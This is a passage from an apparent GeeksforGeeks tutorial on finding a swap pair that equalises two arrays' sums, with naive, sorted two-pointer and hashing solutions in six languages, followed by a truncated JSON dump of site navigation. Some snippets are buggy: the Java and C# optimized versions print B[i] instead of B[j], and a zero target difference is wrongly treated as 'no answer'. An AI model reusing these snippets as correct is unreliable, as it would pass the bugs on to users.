{ 4, 1, 2, 1, 1, 2 }; int n = A.Length; int[] B = { 3, 6, 3, 3 }; int m = B.Length; // Call to function findSwapValues(A, n, B, m);}} // This code is contributed// by ChitraNayal <?php// PHP code naive solution to find// a pair swapping which makes sum// of arrays sum. // Function to calculate sum of// elements of arrayfunction getSum($X, $n){ $sum = 0; for ($i = 0; $i < $n; $i++) $sum += $X[$i]; return $sum;} function findSwapValues($A, $n, $B, $m){ // Calculation of sums from both arrays $sum1 = getSum($A, $n); $sum2 = getSum($B, $m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 for ($i = 0; $i < $n; $i++) { for ($j = 0; $j < $m; $j++) { $newsum1 = $sum1 - $A[$i] + $B[$j]; $newsum2 = $sum2 - $B[$j] + $A[$i]; if ($newsum1 == $newsum2) { $val1 = $A[$i]; $val2 = $B[$j]; } } } echo $val1 . " " . $val2;} // Driver code$A = array(4, 1, 2, 1, 1, 2 );$n = sizeof($A);$B = array(3, 6, 3, 3 );$m = sizeof($B); // Call to functionfindSwapValues($A, $n, $B, $m); // This code is contributed// by Akanksha Rai?> <script>// Javascript program to find a pair swapping// which makes sum of arrays sum // Function to calculate sum of elements of array function getSum(X,n) { let sum = 0; for (let i = 0; i < n; i++) sum += X[i]; return sum; } // Function to prints elements to be swapped function findSwapValues(A,n,B,m) { // Calculation of sums from both arrays let sum1 = getSum(A, n); let sum2 = getSum(B, m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 let newsum1, newsum2, val1 = 0, val2 = 0; for (let i = 0; i < n; i++) { for (let j = 0; j < m; j++) { newsum1 = sum1 - A[i] + B[j]; newsum2 = sum2 - B[j] + A[i]; if (newsum1 == newsum2) { val1 = A[i]; val2 = B[j]; } } } document.write(val1+" "+val2); } // driver program let A=[4, 1, 2, 1, 1, 2]; let n = A.length; let B=[3, 6, 3, 3 ]; let m = B.length; // Call to function findSwapValues(A, n, B, m); //This code is contributed by avanitrachhadiya2155 </script> 1 3 Time Complexity :- O(n*m) Method 2 -> Other Naive implementation We are looking for two values, a and b, such that: sumA - a + b = sumB - b + a 2a - 2b = sumA - sumB a - b = (sumA - sumB) / 2 Therefore, we’re looking for two values that have a specific target difference: (sumA – sumB) / 2. C++ Java Python3 C# PHP Javascript // CPP code for naive implementation#include <iostream>using namespace std; // Function to calculate sum of elements of arrayint getSum(int X[], int n){ int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum;} // Function to calculate : a - b = (sumA - sumB) / 2int getTarget(int A[], int n, int B[], int m){ // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2);} void findSwapValues(int A[], int n, int B[], int m){ int target = getTarget(A, n, B, m); if (target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 int val1, val2; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { if (A[i] - B[j] == target) { val1 = A[i]; val2 = B[j]; } } } cout << val1 << " " << val2;} // Driver codeint main(){ int A[] = { 4, 1, 2, 1, 1, 2 }; int n = sizeof(A) / sizeof(A[0]); int B[] = { 3, 6, 3, 3 }; int m = sizeof(B) / sizeof(B[0]); // Call to function findSwapValues(A, n, B, m); return 0;} // Java program to find a pair swapping// which makes sum of arrays sumimport java.io.*; class GFG{ // Function to calculate sum of elements of array static int getSum(int X[], int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to calculate : a - b = (sumA - sumB) / 2 static int getTarget(int A[], int n, int B[], int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2); } // Function to prints elements to be swapped static void findSwapValues(int A[], int n, int B[], int m) { int target = getTarget(A, n, B, m); if (target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 int val1 = 0, val2 = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { if (A[i] - B[j] == target) { val1 = A[i]; val2 = B[j]; } } } System.out.println(val1+" "+val2); } // driver program public static void main (String[] args) { int A[] = { 4, 1, 2, 1, 1, 2 }; int n = A.length; int B[] = { 3, 6, 3, 3 }; int m = B.length; // Call to function findSwapValues(A, n, B, m); }} // Contributed by Pramod Kumar # Python Code for naive implementation # Function to calculate sum of elements of listdef getSum(X): sum=0 for i in X: sum+=i return sum # Function to calculate : a-b = (sumA - sumB) / 2def getTarget(A,B): #Calculations of sums from both lists sum1=getSum(A) sum2=getSum(B) # Because the target must be an integer if( (sum1-sum2)%2!=0): return 0 return (sum1-sum2)//2 def findSwapValues(A,B): target=getTarget(A,B) if target==0: return # Boolean variable used to reduce further iterations # after the pair is found flag=False # Look for val1 and val2, such that # val1 - val2 = (sumA -sumB) /2 val1,val2=0,0 for i in A: for j in B: if i-j == target: val1=i val2=j # Set to True when pair is found flag=True break if flag==True: break print (val1,val2) return # Driver codeA=[4,1,2,1,1,2]B=[3,6,3,3] # Call to functionfindSwapValues(A,B) # code contributed by sachin bisht // C# program to find a pair swapping// which makes sum of arrays sumusing System; class GFG{ // Function to calculate sum of elements of array static int getSum(int []X, int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to calculate : a - b = (sumA - sumB) / 2 static int getTarget(int []A, int n, int []B, int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2); } // Function to prints elements to be swapped static void findSwapValues(int []A, int n, int []B, int m) { int target = getTarget(A, n, B, m); if (target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 int val1 = 0, val2 = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { if (A[i] - B[j] == target) { val1 = A[i]; val2 = B[j]; } } } Console.Write(val1+" "+val2); } // Driver code public static void Main () { int []A = { 4, 1, 2, 1, 1, 2 }; int n = A.Length; int []B = { 3, 6, 3, 3 }; int m = B.Length; // Call to function findSwapValues(A, n, B, m); }} /*This code is contributed by 29AjayKumar*/ <?php// PHP code for naive implementation // Function to calculate sum// of elements of arrayfunction getSum($X, $n){ $sum = 0; for ($i = 0; $i < $n; $i++) $sum += $X[$i]; return $sum;} // Function to calculate :// a - b = (sumA - sumB) / 2function getTarget($A, $n, $B, $m){ // Calculation of sums from // both arrays $sum1 = getSum($A, $n); $sum2 = getSum($B, $m); // because that the target // must be an integer if (($sum1 - $sum2) % 2 != 0) return 0; return (($sum1 - $sum2) / 2);} function findSwapValues($A, $n, $B, $m){ $target = getTarget($A, $n, $B, $m); if ($target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 for ($i = 0; $i < $n; $i++) { for ($j = 0; $j < $m; $j++) { if ($A[$i] - $B[$j] == $target) { $val1 = $A[$i]; $val2 = $B[$j]; } } } echo $val1 . " " . $val2;} // Driver code$A = array(4, 1, 2, 1, 1, 2);$n = sizeof($A);$B = array(3, 6, 3, 3);$m = sizeof($B); // Call to functionfindSwapValues($A, $n, $B, $m); // This code is contributed// by Akanksha Rai?> <script>// Javascript program to find a pair swapping// which makes sum of arrays sum // Function to calculate sum of elements of arrayfunction getSum(X,n){ let sum = 0; for (let i = 0; i < n; i++) sum += X[i]; return sum;} // Function to calculate : a - b = (sumA - sumB) / 2function getTarget(A,n,B,m){ // Calculation of sums from both arrays let sum1 = getSum(A, n); let sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2);} // Function to prints elements to be swappedfunction findSwapValues(A,n,B,m){ let target = getTarget(A, n, B, m); if (target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 let val1 = 0, val2 = 0; for (let i = 0; i < n; i++) { for (let j = 0; j < m; j++) { if (A[i] - B[j] == target) { val1 = A[i]; val2 = B[j]; } } } document.write(val1+" "+val2+"<br>");} // driver programlet A=[4, 1, 2, 1, 1, 2];let n = A.length;let B=[3, 6, 3, 3 ];let m = B.length;// Call to functionfindSwapValues(A, n, B, m); // This code is contributed by ab2127</script> 1 3 Time Complexity :- O(n*m) Method 3 -> Optimized Solution :- Sort the arrays. Traverse both array simultaneously and do following for every pair. If the difference is too small then, make it bigger by moving ‘a’ to a bigger value.If it is too big then, make it smaller by moving b to a bigger value.If it’s just right, return this pair. If the difference is too small then, make it bigger by moving ‘a’ to a bigger value.If it is too big then, make it smaller by moving b to a bigger value.If it’s just right, return this pair. If the difference is too small then, make it bigger by moving ‘a’ to a bigger value. If it is too big then, make it smaller by moving b to a bigger value. If it’s just right, return this pair. Below image is a dry run of the above approach: Below is the implementation of the above approach: C++ Java Python3 C# Javascript // CPP code for optimized implementation#include <bits/stdc++.h>using namespace std; // Returns sum of elements in X[]int getSum(int X[], int n){ int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum;} // Finds value of// a - b = (sumA - sumB) / 2int getTarget(int A[], int n, int B[], int m){ // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2);} // Prints elements to be swappedvoid findSwapValues(int A[], int n, int B[], int m){ // Call for sorting the arrays sort(A, A + n); sort(B, B + m); // Note that target can be negative int target = getTarget(A, n, B, m); // target 0 means, answer is not possible if (target == 0) return; int i = 0, j = 0; while (i < n && j < m) { int diff = A[i] - B[j]; if (diff == target) { cout << A[i] << " " << B[j]; return; } // Look for a greater value in A[] else if (diff < target) i++; // Look for a greater value in B[] else j++; }} // Driver codeint main(){ int A[] = { 4, 1, 2, 1, 1, 2 }; int n = sizeof(A) / sizeof(A[0]); int B[] = { 1, 6, 3, 3 }; int m = sizeof(B) / sizeof(B[0]); findSwapValues(A, n, B, m); return 0;} // Java code for optimized implementationimport java.io.*;import java.util.*; class GFG{ // Function to calculate sum of elements of array static int getSum(int X[], int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to calculate : a - b = (sumA - sumB) / 2 static int getTarget(int A[], int n, int B[], int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2); } // Function to prints elements to be swapped static void findSwapValues(int A[], int n, int B[], int m) { // Call for sorting the arrays Arrays.sort(A); Arrays.sort(B); // Note that target can be negative int target = getTarget(A, n, B, m); // target 0 means, answer is not possible if (target == 0) return; int i = 0, j = 0; while (i < n && j < m) { int diff = A[i] - B[j]; if (diff == target) { System.out.println(A[i]+" "+B[i]); return; } // Look for a greater value in A[] else if (diff < target) i++; // Look for a greater value in B[] else j++; } } // driver program public static void main (String[] args) { int A[] = { 4, 1, 2, 1, 1, 2 }; int n = A.length; int B[] = { 3, 6, 3, 3 }; int m = B.length; // Call to function findSwapValues(A, n, B, m); }} // Contributed by Pramod Kumar # Python code for optimized implementation #Returns sum of elements in listdef getSum(X): sum=0 for i in X: sum+=i return sum # Finds value of# a - b = (sumA - sumB) / 2def getTarget(A,B): # Calculations of sumd from both lists sum1=getSum(A) sum2=getSum(B) # Because that target must be an integer if( (sum1-sum2)%2!=0): return 0 return (sum1-sum2)//2 # Prints elements to be swappeddef findSwapValues(A,B): # Call for sorting the lists A.sort() B.sort() #Note that target can be negative target=getTarget(A,B) # target 0 means, answer is not possible if(target==0): return i,j=0,0 while(i<len(A) and j<len(B)): diff=A[i]-B[j] if diff == target: print (A[i],B[j]) return # Look for a greater value in list A elif diff <target: i+=1 # Look for a greater value in list B else: j+=1 A=[4,1,2,1,1,2]B=[3,6,3,3] findSwapValues(A,B) #code contributed by sachin bisht // C# code for optimized implementationusing System; class GFG{ // Function to calculate sum of elements of array static int getSum(int []X, int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to calculate : a - b = (sumA - sumB) / 2 static int getTarget(int []A, int n, int []B, int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2); } // Function to prints elements to be swapped static void findSwapValues(int []A, int n, int []B, int m) { // Call for sorting the arrays Array.Sort(A); Array.Sort(B); // Note that target can be negative int target = getTarget(A, n, B, m); // target 0 means, answer is not possible if (target == 0) return; int i = 0, j = 0; while (i < n && j < m) { int diff = A[i] - B[j]; if (diff == target) { Console.WriteLine(A[i]+" "+B[i]); return; } // Look for a greater value in A[] else if (diff < target) i++; // Look for a greater value in B[] else j++; } } // Driver code public static void Main (String[] args) { int []A = { 4, 1, 2, 1, 1, 2 }; int n = A.Length; int []B = { 3, 6, 3, 3 }; int m = B.Length; // Call to function findSwapValues(A, n, B, m); }} // This code has been contributed by 29AjayKumar <script>// Javascript code for optimized implementation // Function to calculate sum of elements of arrayfunction getSum(X,n){ let sum = 0; for (let i = 0; i < n; i++) sum += X[i]; return sum;} // Function to calculate : a - b = (sumA - sumB) / 2function getTarget(A,n,B,m){ // Calculation of sums from both arrays let sum1 = getSum(A, n); let sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2);} // Function to prints elements to be swappedfunction findSwapValues(A,n,B,m){ // Call for sorting the arrays A.sort(function(a,b){return a-b;}); B.sort(function(a,b){return a-b;}); // Note that target can be negative let target = getTarget(A, n, B, m); // target 0 means, answer is not possible if (target == 0) return; let i = 0, j = 0; while (i < n && j < m) { let diff = A[i] - B[j]; if (diff == target) { document.write(A[i]+" "+B[j]); return; } // Look for a greater value in A[] else if (diff < target) i++; // Look for a greater value in B[] else j++; }} // driver programlet A=[4, 1, 2, 1, 1, 2 ];let n = A.length;let B=[3, 6, 3, 3 ];let m = B.length;// Call to functionfindSwapValues(A, n, B, m); // This code is contributed by unknown2108</script> 2 3 Time Complexity :- If arrays are sorted : O(n + m) If arrays aren’t sorted : O(nlog(n) + mlog(m)) Method 4 (Hashing) We can solve this problem in O(m+n) time and O(m) auxiliary space. Below are algorithmic steps. // assume array1 is small i.e. (m < n) // where m is array1.length and n is array2.length 1. Find sum1(sum of small array elements) ans sum2 (sum of larger array elements). // time O(m+n) 2. Make a hashset for small array(here array1). 3. Calculate diff as (sum1-sum2)/2. 4. Run a loop for array2 for (int i equal to 0 to n-1) if (hashset contains (array2[i]+diff)) print array2[i]+diff and array2[i] set flag and break; 5. If flag is unset then there is no such kind of pair. Thanks to nicky khan for suggesting method 4.This article is contributed by Sakshi Tiwari. If you like GeeksforGeeks (We know you do!) and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. Another Approach: We can also solve this problem in linear time using hashing. Let us assume that sum of the elements of the first array a[] is s1, and of the second array b[] is s2. Also suppose that a pair to be swapped is (p, q), where p belongs to a[] and q belongs to b[]. Therefore, we have the equation s1 – p + q = s2 – q + p, i.e. 2q = s2 – s1 + 2p. Since both 2p and 2q are even integers, the difference s2 – s1 must be an even integer too. So, given any p, our aim is to find an appropriate q satisfying the above conditions. Below is an implementation of the said approach: C++ #include <bits/stdc++.h>using namespace std;void findSwapValues(int a[], int m, int b[], int n);int main(){ int a[] = { 4, 1, 2, 1, 1, 2 }, b[] = { 1, 6, 3, 3 }; int m, n; m = sizeof(a) / sizeof(int), n = sizeof(b) / sizeof(int); findSwapValues(a, m, b, n); return 0;}void findSwapValues(int a[], int m, int b[], int n){ unordered_set<int> x, y; /* Unordered sets (and unordered maps) are implemented internally using hash tables; they support dictionary operations (i.e. search, insert, delete) in O(1) time on an average. */ unordered_set<int>::iterator p, q; int s1, s2; int i; s1 = 0; for (i = 0; i < m; i++) /* Determining sum s1 of the elements of array a[], and simultaneously inserting the array elements in the unordered set. */ s1 += a[i], x.insert(a[i]); s2 = 0; for (i = 0; i < n; i++) s2 += b[i], y.insert(b[i]); if ((s1 - s2) % 2) /* Checking if difference between the two array sums is even or not. */ { printf("No such values exist.\n"); return; } for (p = x.begin(); p != x.end(); p++) { q = y.find( ((s2 - s1) + 2 * *p) / 2); // Finding q for a given p in O(1) time. if (q != y.end()) { printf("%d %d\n", *p, *q); return; } } printf("No such values exist.\n");} 2 3 Time complexity of the above code is O(m + n), where m and n respectively represent the sizes of the two input arrays, and space complexity O(s + t), where s and t respectively represent the number of distinct elements present in the two input arrays. ukasp Akanksha_Rai princiraj1992 29AjayKumar avanitrachhadiya2155 arghyamukherjee ab2127 unknown2108 surinderdawra388 simmytarika5 amartyaghoshgfg Amazon Arrays Hash Sorting Amazon Arrays Hash Sorting Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Maximum and minimum of an array using minimum number of comparisons Top 50 Array Coding Problems for Interviews Stack Data Structure (Introduction and Program) Introduction to Arrays Multidimensional Arrays in Java Given an array A[] and a number x, check for pair in A[] with sum as x (aka Two Sum) Internal Working of HashMap in Java Count pairs with given sum Hashing | Set 1 (Introduction) Hashing | Set 3 (Open Addressing)
[ { "code": null, "e": 419, "s": 0, "text": "CoursesFor Working ProfessionalsLIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore MoreSelf-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore MoreFor StudentsLIVECompetitive ProgrammingData Structures with C++Data ScienceExplore MoreSelf-PacedDSA- Self PacedCIPJAVA / Python / C++Explore MoreSchool CoursesSchool GuidePython ProgrammingLearn To Make AppsExplore moreAll Courses" }, { "code": null, "e": 600, "s": 419, "text": "For Working ProfessionalsLIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore MoreSelf-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore More" }, { "code": null, "e": 685, "s": 600, "text": "LIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore More" }, { "code": null, "e": 702, "s": 685, "text": "DSA Live Classes" }, { "code": null, "e": 716, "s": 702, "text": "System Design" }, { "code": null, "e": 741, "s": 716, "text": "Java Backend Development" }, { "code": null, "e": 757, "s": 741, "text": "Full Stack LIVE" }, { "code": null, "e": 770, "s": 757, "text": "Explore More" }, { "code": null, "e": 842, "s": 770, "text": "Self-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore More" }, { "code": null, "e": 858, "s": 842, "text": "DSA- Self Paced" }, { "code": null, "e": 869, "s": 858, "text": "SDE Theory" }, { "code": null, "e": 894, "s": 869, "text": "Must-Do Coding Questions" }, { "code": null, "e": 907, "s": 894, "text": "Explore More" }, { "code": null, "e": 1054, "s": 907, "text": "For StudentsLIVECompetitive ProgrammingData Structures with C++Data ScienceExplore MoreSelf-PacedDSA- Self PacedCIPJAVA / Python / C++Explore More" }, { "code": null, "e": 1130, "s": 1054, "text": "LIVECompetitive ProgrammingData Structures with C++Data ScienceExplore More" }, { "code": null, "e": 1154, "s": 1130, "text": "Competitive Programming" }, { "code": null, "e": 1179, "s": 1154, "text": "Data Structures with C++" }, { "code": null, "e": 1192, "s": 1179, "text": "Data Science" }, { "code": null, "e": 1205, "s": 1192, "text": "Explore More" }, { "code": null, "e": 1265, "s": 1205, "text": "Self-PacedDSA- Self PacedCIPJAVA / Python / C++Explore More" }, { "code": null, "e": 1281, "s": 1265, "text": "DSA- Self Paced" }, { "code": null, "e": 1285, "s": 1281, "text": "CIP" }, { "code": null, "e": 1305, "s": 1285, "text": "JAVA / Python / C++" }, { "code": null, "e": 1318, "s": 1305, "text": "Explore More" }, { "code": null, "e": 1393, "s": 1318, "text": "School CoursesSchool GuidePython ProgrammingLearn To Make AppsExplore more" }, { "code": null, "e": 1406, "s": 1393, "text": "School Guide" }, { "code": null, "e": 1425, "s": 1406, "text": "Python Programming" }, { "code": null, "e": 1444, "s": 1425, "text": "Learn To Make Apps" }, { "code": null, "e": 1457, "s": 1444, "text": "Explore more" }, { "code": null, "e": 1469, "s": 1457, "text": "All Courses" }, { "code": null, "e": 3985, "s": 1469, "text": "TutorialsAlgorithmsAnalysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity QuestionSearching AlgorithmsSorting AlgorithmsGraph AlgorithmsPattern SearchingGeometric AlgorithmsMathematicalBitwise AlgorithmsRandomized AlgorithmsGreedy AlgorithmsDynamic ProgrammingDivide and ConquerBacktrackingBranch and BoundAll AlgorithmsData StructuresArraysLinked ListStackQueueBinary TreeBinary Search TreeHeapHashingGraphAdvanced Data StructureMatrixStringsAll Data StructuresInterview CornerCompany PreparationTop TopicsPractice Company QuestionsInterview ExperiencesExperienced InterviewsInternship InterviewsCompetititve ProgrammingDesign PatternsSystem Design TutorialMultiple Choice QuizzesLanguagesCC++JavaPythonC#JavaScriptjQuerySQLPHPScalaPerlGo LanguageHTMLCSSKotlinML & Data ScienceMachine LearningData ScienceCS SubjectsMathematicsOperating SystemDBMSComputer NetworksComputer Organization and ArchitectureTheory of ComputationCompiler DesignDigital LogicSoftware EngineeringGATEGATE Computer Science NotesLast Minute NotesGATE CS Solved PapersGATE CS Original Papers and Official KeysGATE 2021 DatesGATE CS 2021 SyllabusImportant Topics for GATE CSWeb TechnologiesHTMLCSSJavaScriptAngularJSReactJSNodeJSBootstrapjQueryPHPSoftware DesignsSoftware Design PatternsSystem Design TutorialSchool LearningSchool ProgrammingMathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculusMaths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 NotesNCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionRD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionPhysics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesCS Exams/PSUsISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer ExamUGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved PapersStudentCampus Ambassador ProgramSchool Ambassador ProgramProjectGeek of the MonthCampus Geek of the MonthPlacement CourseCompetititve ProgrammingTestimonialsStudent ChapterGeek on the TopInternshipCareers" }, { "code": null, "e": 4566, "s": 3985, "text": "AlgorithmsAnalysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity QuestionSearching AlgorithmsSorting AlgorithmsGraph AlgorithmsPattern SearchingGeometric AlgorithmsMathematicalBitwise AlgorithmsRandomized AlgorithmsGreedy AlgorithmsDynamic ProgrammingDivide and ConquerBacktrackingBranch and BoundAll Algorithms" }, { "code": null, "e": 4899, "s": 4566, "text": "Analysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity Question" }, { "code": null, "e": 4919, "s": 4899, "text": "Asymptotic Analysis" }, { "code": null, "e": 4949, "s": 4919, "text": "Worst, Average and Best Cases" }, { "code": null, "e": 4970, "s": 4949, "text": "Asymptotic Notations" }, { "code": null, "e": 5006, "s": 4970, "text": "Little o and little omega notations" }, { "code": null, "e": 5035, "s": 5006, "text": "Lower and Upper Bound Theory" }, { "code": null, "e": 5053, "s": 5035, "text": "Analysis of Loops" }, { "code": null, "e": 5073, "s": 5053, "text": "Solving Recurrences" }, { "code": null, "e": 5092, "s": 5073, "text": "Amortized Analysis" }, { "code": null, "e": 5128, "s": 5092, "text": "What does 'Space Complexity' mean ?" }, { "code": null, "e": 5157, "s": 5128, "text": "Pseudo-polynomial Algorithms" }, { "code": null, "e": 5194, "s": 5157, "text": "Polynomial Time Approximation Scheme" }, { "code": null, "e": 5221, "s": 5194, "text": "A Time Complexity Question" }, { "code": null, "e": 5242, "s": 5221, "text": "Searching Algorithms" }, { "code": null, "e": 5261, "s": 5242, "text": "Sorting Algorithms" }, { "code": null, "e": 5278, "s": 5261, "text": "Graph Algorithms" }, { "code": null, "e": 5296, "s": 5278, "text": "Pattern Searching" }, { "code": null, "e": 5317, "s": 5296, "text": "Geometric Algorithms" }, { "code": null, "e": 5330, "s": 5317, "text": "Mathematical" }, { "code": null, "e": 5349, "s": 5330, "text": "Bitwise Algorithms" }, { "code": null, "e": 5371, "s": 5349, "text": "Randomized Algorithms" }, { "code": null, "e": 5389, "s": 5371, "text": "Greedy Algorithms" }, { "code": null, "e": 5409, "s": 5389, "text": "Dynamic Programming" }, { "code": null, "e": 5428, "s": 5409, "text": "Divide and Conquer" }, { "code": null, "e": 5441, "s": 5428, "text": "Backtracking" }, { "code": null, "e": 5458, "s": 5441, "text": "Branch and Bound" }, { "code": null, "e": 5473, "s": 5458, "text": "All Algorithms" }, { "code": null, "e": 5616, "s": 5473, "text": "Data StructuresArraysLinked ListStackQueueBinary TreeBinary Search TreeHeapHashingGraphAdvanced Data StructureMatrixStringsAll Data Structures" }, { "code": null, "e": 5623, "s": 5616, "text": "Arrays" }, { "code": null, "e": 5635, "s": 5623, "text": "Linked List" }, { "code": null, "e": 5641, "s": 5635, "text": "Stack" }, { "code": null, "e": 5647, "s": 5641, "text": "Queue" }, { "code": null, "e": 5659, "s": 5647, "text": "Binary Tree" }, { "code": null, "e": 5678, "s": 5659, "text": "Binary Search Tree" }, { "code": null, "e": 5683, "s": 5678, "text": "Heap" }, { "code": null, "e": 5691, "s": 5683, "text": "Hashing" }, { "code": null, "e": 5697, "s": 5691, "text": "Graph" }, { "code": null, "e": 5721, "s": 5697, "text": "Advanced Data Structure" }, { "code": null, "e": 5728, "s": 5721, "text": "Matrix" }, { "code": null, "e": 5736, "s": 5728, "text": "Strings" }, { "code": null, "e": 5756, "s": 5736, "text": "All Data Structures" }, { "code": null, "e": 5976, "s": 5756, "text": "Interview CornerCompany PreparationTop TopicsPractice Company QuestionsInterview ExperiencesExperienced InterviewsInternship InterviewsCompetititve ProgrammingDesign PatternsSystem Design TutorialMultiple Choice Quizzes" }, { "code": null, "e": 5996, "s": 5976, "text": "Company Preparation" }, { "code": null, "e": 6007, "s": 5996, "text": "Top Topics" }, { "code": null, "e": 6034, "s": 6007, "text": "Practice Company Questions" }, { "code": null, "e": 6056, "s": 6034, "text": "Interview Experiences" }, { "code": null, "e": 6079, "s": 6056, "text": "Experienced Interviews" }, { "code": null, "e": 6101, "s": 6079, "text": "Internship Interviews" }, { "code": null, "e": 6126, "s": 6101, "text": "Competititve Programming" }, { "code": null, "e": 6142, "s": 6126, "text": "Design Patterns" }, { "code": null, "e": 6165, "s": 6142, "text": "System Design Tutorial" }, { "code": null, "e": 6189, "s": 6165, "text": "Multiple Choice Quizzes" }, { "code": null, "e": 6270, "s": 6189, "text": "LanguagesCC++JavaPythonC#JavaScriptjQuerySQLPHPScalaPerlGo LanguageHTMLCSSKotlin" }, { "code": null, "e": 6272, "s": 6270, "text": "C" }, { "code": null, "e": 6276, "s": 6272, "text": "C++" }, { "code": null, "e": 6281, "s": 6276, "text": "Java" }, { "code": null, "e": 6288, "s": 6281, "text": "Python" }, { "code": null, "e": 6291, "s": 6288, "text": "C#" }, { "code": null, "e": 6302, "s": 6291, "text": "JavaScript" }, { "code": null, "e": 6309, "s": 6302, "text": "jQuery" }, { "code": null, "e": 6313, "s": 6309, "text": "SQL" }, { "code": null, "e": 6317, "s": 6313, "text": "PHP" }, { "code": null, "e": 6323, "s": 6317, "text": "Scala" }, { "code": null, "e": 6328, "s": 6323, "text": "Perl" }, { "code": null, "e": 6340, "s": 6328, "text": "Go Language" }, { "code": null, "e": 6345, "s": 6340, "text": "HTML" }, { "code": null, "e": 6349, "s": 6345, "text": "CSS" }, { "code": null, "e": 6356, "s": 6349, "text": "Kotlin" }, { "code": null, "e": 6402, "s": 6356, "text": "ML & Data ScienceMachine LearningData Science" }, { "code": null, "e": 6419, "s": 6402, "text": "Machine Learning" }, { "code": null, "e": 6432, "s": 6419, "text": "Data Science" }, { "code": null, "e": 6599, "s": 6432, "text": "CS SubjectsMathematicsOperating SystemDBMSComputer NetworksComputer Organization and ArchitectureTheory of ComputationCompiler DesignDigital LogicSoftware Engineering" }, { "code": null, "e": 6611, "s": 6599, "text": "Mathematics" }, { "code": null, "e": 6628, "s": 6611, "text": "Operating System" }, { "code": null, "e": 6633, "s": 6628, "text": "DBMS" }, { "code": null, "e": 6651, "s": 6633, "text": "Computer Networks" }, { "code": null, "e": 6690, "s": 6651, "text": "Computer Organization and Architecture" }, { "code": null, "e": 6712, "s": 6690, "text": "Theory of Computation" }, { "code": null, "e": 6728, "s": 6712, "text": "Compiler Design" }, { "code": null, "e": 6742, "s": 6728, "text": "Digital Logic" }, { "code": null, "e": 6763, "s": 6742, "text": "Software Engineering" }, { "code": null, "e": 6938, "s": 6763, "text": "GATEGATE Computer Science NotesLast Minute NotesGATE CS Solved PapersGATE CS Original 